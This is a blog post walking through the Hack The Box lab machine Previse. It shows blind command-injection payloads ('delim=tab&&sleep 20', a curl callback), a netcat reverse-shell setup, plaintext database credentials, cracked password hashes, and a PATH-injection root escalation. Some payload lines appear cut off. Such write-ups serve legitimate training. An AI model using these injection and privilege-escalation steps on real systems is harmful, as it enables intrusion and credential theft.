DEV Community

Cover image for Hack The Box Writeup: Previse - SSHad0w

Posted on

Hack The Box Writeup: Previse - SSHad0w

Image description

This is a beginner friendly writeup of Previse on Hack The Box. hope you learn something, because I sure did! Be sure to comment if you have any questions!


Adding the ip to the hosts file

Before anything else, we will add the ip address to our /etc/hosts file.

sudo vi /etc/hosts

Add the ip of the machine and the hostname to the file.


# Nmap 7.91 scan initiated Thu Dec 30 21:53:49 2021 as: nmap -sCV -p22,80 -oN previse.nmap previse.htb
Nmap scan report for previse.htb (
Host is up (0.029s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Thu Dec 30 21:53:56 2021 -- 1 IP address (1 host up) scanned in 7.87 seconds

Enter fullscreen mode Exit fullscreen mode

Since there are few attacks that can be preformed on port 22, port 80 has the highest priority. Webservers normally have a lot of attack surface, so we'll inspect that first.

Port 80

Image description

Seems like a login portal... Nowhere to register so we can't login.


Gobuster is a common tool for enumerating webservers and learning more about the content being stored on server. It can expose obscure directories, find virtual hosts and arbitrary files that would be hard to find by manually fuzzing. Its often used by providing a wordlist to iterate through and search for information based on the wordlist provided.

Enumerating directories with Gobuster

gobuster dir -u http://previse.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

This time, it returned very little, but it is always a good idea to check!

Enumerating Virtual Hosts with Gobuster

gobuster vhost -u previse.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

This time, it returned nothing, but it is always a good idea to check!

Enumerating files with Gobuster

gobuster dir -u http://previse.htb -x php -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt

So we found some files!

└─$ cat gobuster_file.txt | grep 200  
[+] Status codes:   200,204,301,302,307,401,403
/login.php (Status: 200)
/config.php (Status: 200)
/header.php (Status: 200)
/footer.php (Status: 200)
/nav.php (Status: 200)
Enter fullscreen mode Exit fullscreen mode

Let's try enumerating each of the pages and learning what each of them are for. We can inspect them using a popular web application security audit tool, Burp Suite.


After inspecting each of the pages, I notice /nav page displays a navigation page that leads to more directories on the site.

Image description


Image description

Just the "main page". Often times /index.php is just a splash page.


Image description

This is clearly a page that only administrators should see. If we could find a way to control this page, we can create an account for ourselves and authenticate.


Image description

This page seems to be another "admin only" page. It has file upload/download functionality, so we may be able to leverage that later.


Image description

This tells us that there is a SQL server online, the amount of files uploaded and shows how many administrators are logged in simultaneously. This information may be valuable later as well.


Image description

This page is responsible for outputting the logfiles as a comma, tab, or space delimited files.

Adding our own account

I decided to just look at the source code of the page to add my own account.

Looking back at the /accounts.php page, we can see within the source code a few of the parameters required to create a new user.

Image description

We can see the typical username,password and confirm fields.

From here, we submit a request that creates an administrative account.

Adding the user

Enter fullscreen mode Exit fullscreen mode

Image description


Once we submit the form, we are allowed to log in to the file hosting server.

Image description

Just to check, we browse over to the status.php page to ensure that the number of admins increased.

Image description

If you're using this box alone, there will only be 2 admins, but if you created multiple accounts or there are other people in the lab, you may see a higher number.

Downloading log files

We can download log file as CSV, TSV, or SSV.

Image description

Downloading the site backups

Now that we have access, let's download the source code of the website.

Image description

We can unzip it with the unzip command.

Image description

Source code disclosure

Now, we can peer into the PHP to learn more about the site functionality and hunt of vulnerabilities using static source code analysis. Let's put our PHP hat on!

Image description


The download.php file contains the following:

Image description

if (!isset($_SESSION['user'])) {  
    header('Location: login.php');

<?php include( 'config.php' ); ?>

if (isset($_GET['file'])) {
    // Log all file attempts, because security is important!!
    $logFilename = "/var/www/file_access.log";
    $epochTime = getdate()[0];
    $logMsg = "{$epochTime},{$_SESSION['user']},{$_GET['file']}";
    file_put_contents($logFilename, $logMsg . "\n", FILE_APPEND);
    if (!filter_var($_GET['file'], FILTER_VALIDATE_INT)) {
    } else {
        $fileId = filter_var($_GET['file'], FILTER_SANITIZE_NUMBER_INT);
        $db = connectDB();
        if ($db === false) {
            die("ERROR: Could not connect. " . $db->connect_error);
        } else {
        $sql = "SELECT name, size, data FROM files WHERE id = {$fileId} limit 1;";
        $result = $db->query($sql);
        $row = mysqli_fetch_assoc($result);
        header("Content-Description: File Transfer");
        header("Content-Type: application/octet-stream");
        header("Content-Length: " . $row['size']);
        header("Content-Disposition: attachment; filename=" . $row['name']);
        ob_clean(); // Discard any data in the output buffer
        flush(); // Flush system headers
        echo $row['data'];
} else {
echo '<div class="uk-alert-danger">Nothing requested!</div>';
Enter fullscreen mode Exit fullscreen mode

Immediately, my eye is drawn to the line that contains the include() method. The PHP include() method is know to be a security issue.

Since the config.php page is the one the include() method references, I assume that the db credentials may be stored in that file.

Let's check out config.php.


Most files named config.* have some sort of credentials, default configuration settings, or other important information that helps lead to security incidents when in the wrong hands. Here we can see plaintext database credentials that may be useful later.

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
Enter fullscreen mode Exit fullscreen mode

SQL Credentials

The config.php file include download.php file contains credentials to the database.


Database name:


Connecting to the database

I can't yet because the port isn't open on the outside. I have to get on the box first. I have a prevision that we'll be logging into a SQL server soon!


On this page, we have a statement that utilizes a different language to parse files. The PHP exec() command executes shell commands directly on the operating system itself, so while this appears to be a python expression, this is actually a bash command executing the python binary.

if (!isset($_SESSION['user'])) {
    header('Location: login.php');

    header('Location: login.php');

//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//

$output = exec("/usr/bin/python /opt/scripts/ {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";    

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
} else {
Enter fullscreen mode Exit fullscreen mode

Since we have control over the input, we can try to inject commands into this poorly implemented parsing string.

Discovering blind command injection

Because of the implementation of this Blind OS command Injection vulnerability, we are not able to read STDOUT, but we still have a few ways to verify that we are controlling the webserver.

Time based OS injection

As it says on

"You can use an injected command that will trigger a time delay, allowing you to confirm that the command was executed based on the time that the application takes to respond. The ping command is an effective way to do this, as it lets you specify the number of ICMP packets to send, and therefore the time taken for the command to run.""

A simplified version of the above: "Use a time delay command to force the server to wait before giving you a response."

This is the request when it hasn't be augmented (cut down to the vulnerable parameter for space reasons):
It takes approximately 462 milliseconds.

delim=tab&&ping -c 20 (remember to URL encode!)
Takes approximately 7,186 milliseconds.

This is a positive result, but let's confirm it with the sleep command.

delim=tab&&sleep 20
Url encoded payload:
Takes approximately 20,488 milliseconds.

Image description

Image description

This is perfect! It takes approximately ~470 ms to respond, and the extra time is from our sleep command. We have confirmed remote code execution, or RCE for short.

Using curl to test remote code execution

Before we move on, let's learn another way to confirm RCE. Hackers often have to understand many ways to complete a task, as one may not work from time to time. Let's use curl (a popular command line request tool for *nix systems.)

Step 1.
Start a listener on your attack machine with a command like nc -nvlp 4444 (or use your favorite listener).

delim=tab;curl (Remember to URL encode!)

Image description

Some people prefer this as a proof of concept because they can connect back to themselves.

Popping a reverse shell

Now that we have RCE, we will leverage it to give ourselves a reverse shell.

Step 1.
Start a listener on your attack machine with a command like nc -nvlp 4444 (or use your favorite listener).



Image description

Upgrading the shell

Since I see the python binary, I am going to upgrade the shell using the following: python -c 'import pty; pty.spawn("/bin/bash")'

Image description

This allows us to use a lot more features, and even have a more stable connection.

Privilege Escalation

Now that we have a shell, we want to gain more access. www-data can preform certain actions that unauthenticated users can't, but our goal is to gain total access over the machine.

Even though we would normally go through our typical privesc techniques and post exploitation enumeration methods, we are first going to investigate the database with the credentials we found earlier.

Locating MySQL

First, we will check if we have telnet on the machine to see if we can reach the instance of MySQL from the inside of the machine.

Image description

It seems the machine accepts connections from localhost on port 3306.

Let's attempt to login with the credentials we found earlier:

Logging into MySQL

mysql -u root -p'mySQL_p@ssw0rd!:)'

Note that the password does NOT have a space after the -p flag and that it is enclosed in single quotes. ' These two things are very important when establishing a local connection with a mysql server.


Image description

Enumerating the MySQL database

Now that we've authenticated, let's enumerate the database.

We can use the show databases command to show the databases within this instance of SQL. Keep in mind that the previse database was the one references in the PHP file earlier. Let's check that one out first.

Image description

First we use the show databases command to show the databases within this instance of SQL. From there, we use the use command, to select the database we'd like to inspect, and the describe command to inspect tables within the database we're currently using.

Finding the passwords

After running the command select username, password, from accounts;, we can see the password hashes for all of the accounts on the site. Including the first admin, m4lwhere.

Image description

| username | password                           |
| m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. |
| SSHad0w  | $1$🧂llol$elwMtr/dbrrAdw/Eb6S/K. |
2 rows in set (0.00 sec)
Enter fullscreen mode Exit fullscreen mode

A few basic sql privesc commands to try before leaving

Image description

Understanding the hashes

Now that we've found the hashes, we need to talk about how password hashes work before we attempt to crack them.

Breaking down the hash:

Take this hash for example:

Enter fullscreen mode Exit fullscreen mode

As explained here, each $ denotes a new section of the hash. The first $ denotes the type of hash, the second $ denotes the salt, and the characters after 3rd $ is the hash itself.

A direct quote:

"...A password encrypted by one of these algorithms would look like $1$salt$encrypted (for MD5), $5$salt$encrypted (for SHA-256), or $6$salt$encrypted (for SHA-512), where each $ is a literal $ character, where salt is a salt of up to 16 characters, and where encrypted is the actual hash."

This will be be very important when we crack the hashes.

Identifying the hash algorithm

Even though the above excerpt explains that "one of these algorithms would look like $1$salt$encrypted (for MD5)", we will go through the process of identifying the hash algorithm to familiarize ourselves with the process, and prepare for when we do not recognize the hash type immediately.


Even though there are many ways to do this, we will use hashcat . Hashcat a powerful password cracking tool. Hashcat has an --example-hashes flag will show a lot of standard hash types and what their signatures are. From there, we look for any patterns that match the $1 pattern we see at the beginning of our hashes.

hashcat --example-hashes | grep '\$1' -B4

Image description

└─$ hashcat --example-hashes | grep '\$1' -B4
HASH: $P$946647711V1klyitUYhtB8Yw5DMA/w.
PASS: hashcat
MODE: 500    
TYPE: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)           
HASH: $1$38652870$DUjsu4TTlTsOe/xxZ05uf/  
PASS: hashcat
Enter fullscreen mode Exit fullscreen mode

Now we know that the hash is MD5. This is a very common type of hash, so some people may know just from looking at it, but now we know how to identify password hashes that we aren't familiar with.

As it says here, MD5 is "mode 500. This will be important later.

Cracking the hashes

Finally! Now that we've done the ground work, we can crack our hashes.

Store the hashes in a file

I put the hashes in a file with a colon delimiter and called it hashes.txt like so:

Enter fullscreen mode Exit fullscreen mode

We'll keep using hashcat to crack the hashes. The following command is what we'll use:

hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt --user

A quick breakdown of the command:

  • The -m 500 tells hashcat to crack using the MD5 algorithm. This way it doesn't waste time trying other possible algorithm.

  • The /usr/share/wordlists/rockyou.txt is the wordlist that hashcat will compare the hashes to. rockyou.txt is the largest, and widely considered the best wordlist for password cracking.

  • The --user flag tells hashcat that the username is on the left of the passwords in the standard username:password format. This allows hashcat to keep the username and password together if it finds a match.

We found the password! The credentials are m4lwhere:ilovecody112235!.

Now we can su to the user, or simply login as m4lwhere over SSH.

I prefer SSH for a higher quality shell and more stable connection.

Image description

Privilege Escalation

Although there are a 1024 ways to skin a cat, we will try one of the simplest privilege escalation techniques in the book: sudo -l.

This command searches the system for binaries that can be executed as other users, possibly with more (or different) privilege.

Finding and exploiting SUID binaries are very common in boot to root CTFs, so this command is at the top of my list for privesc methodology.

Image description

There is s SUID program running as root on the system. If we can exploit that binary, we can gain arbitrary command execution at the root level.

If we had write access, we would simply edit it and write a reverse shell in the script. Since we don't, we'll have to use the environment around it to find a way to execute our code.

Since we have read access, let's view the file:

m4lwhere@previse:~$ cat /opt/scripts/ 

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
Enter fullscreen mode Exit fullscreen mode

From here, we learn a few things:

  1. This script is being run automatically with a crontab (and we can execute it).
  2. The log file that we write to when we make actions on apache is what's being operated on.

How the script works

It calls a program called gzip which is basically a popular compression program used in the Linux world.

The argument specified -c is used to print the compressed file's contents to STDOUT.

Image description

Even in the man pages, there are examples of the user using a redirect operator with the -c option.

Let's try to unzip this compressed text, as we may need to read the data at some point.

Image description

As we can see, piping STDIN to gunzip (the antithesis of gzip) displays the original content, or prints it to STDOUT.

Now that we've done that proof of concept, let's try it on the real server.

Image description

It works! We can read the zipped files. This may be helpful later.

Image description

After doing some enumeration, we see that we do have edit privilege for the /var/www/file_access.log file, and not the other file referenced in the script.

The is the same file that can be downloaded by admins on the webserver.

The date command

The date command is a very simple command used in UNIX to display the exact date and time. Since this program uses the date command as a variable, if I can find a way to control the output of the date command, I can run code as root.

Let's try it on our own machine.

Image description

If we can change the version of date being called, we can also control the execution flow of the SUID binary.

Image description

We cannot edit the date command, as it is owned by root.

PATH Injection

What we can do is modify the PATH that the date command uses. Even though the binary is owned by root and in /opt/scripts/. We can change our PATH to a world writeable directory (like /tmp, /dev/shm, etc...), write a reverse shell in the false date command and run the binary.

The program views the environment it's being executed in and runs the local version of date instead of the correct version.

This is a standard example of "PATH injection" or "Environment Variable injection".

Image description

Root shell

Image description

Please let me know in the comments if you have any questions, suggestions, or alternate paths!

Remember to always ask better questions!

Top comments (0)